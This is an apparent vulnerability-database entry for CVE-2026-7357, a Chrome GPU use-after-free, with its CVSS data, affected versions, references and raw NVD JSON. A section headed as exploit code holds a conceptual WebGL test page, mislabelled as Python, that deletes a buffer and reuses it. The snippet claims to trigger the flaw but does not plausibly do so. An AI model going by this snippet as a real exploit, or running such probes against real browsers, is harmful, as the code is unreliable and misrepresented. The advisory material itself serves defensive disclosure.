CVE-2026-7357

Description

Use after free in GPU in Google Chrome prior to 147.0.7727.138 allowed a remote attacker who had compromised the renderer process to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

Google Chrome < 147.0.7727.138

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
PoC for CVE-2026-7357: GPU Use-After-Free
Note: This is a conceptual demonstration to trigger GPU interaction.
-->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2026-7357 PoC</title>
</head>
<body>
<script>
    // Check if WebGL is available
    const canvas = document.createElement('canvas');
    const gl = canvas.getContext('webgl');

    if (gl) {
        console.log("[+] WebGL context initialized. Starting PoC...");

        // Create a buffer to simulate the object allocation
        const buffer = gl.createBuffer();
        gl.bindBuffer(gl.ARRAY_BUFFER, buffer);
        
        // Allocate memory
        gl.bufferData(gl.ARRAY_BUFFER, new Float32Array(1024), gl.STATIC_DRAW);

        // Simulate the scenario leading to UAF
        // In a real exploit, specific GPU commands would be crafted here
        // to free the object while keeping a reference.
        
        for (let i = 0; i < 1000; i++) {
            // Perform operations to stress the GPU memory management
            gl.bufferSubData(gl.ARRAY_BUFFER, 0, new Float32Array(10));
            
            if (i === 500) {
                // Simulate the free operation
                gl.deleteBuffer(buffer);
                // Attempt to use the buffer again (Use After Free)
                // This might cause a crash or instability in vulnerable versions
                gl.bindBuffer(gl.ARRAY_BUFFER, buffer);
                gl.bufferSubData(gl.ARRAY_BUFFER, 0, new Float32Array(10));
            }
        }
        console.log("[+] PoC execution completed. Check for GPU process crash.");
    } else {
        console.log("[-] WebGL is not supported.");
    }
</script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-7357
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-7357
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-7357/
[4] VulDB https://vuldb.com/cve/CVE-2026-7357
[5] https://chromereleases.googleblog.com/2026/04/stable-channel-update-for-desktop_28.html
[6] https://issues.chromium.org/issues/497047552

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-7357", "sourceIdentifier": "[email protected]", "published": "2026-04-28T23:16:23.260", "lastModified": "2026-04-30T16:37:58.563", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in GPU in Google Chrome prior to 147.0.7727.138 allowed a remote attacker who had compromised the renderer process to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "147.0.7727.138", "matchCriteriaId": "162EE53D-80A0-4153-B6D6-B2EF01E0BDAE"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/04/stable-channel-update-for-desktop_28.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/497047552", "source": "[email protected]", "tags": ["Permissions Required"]}]}}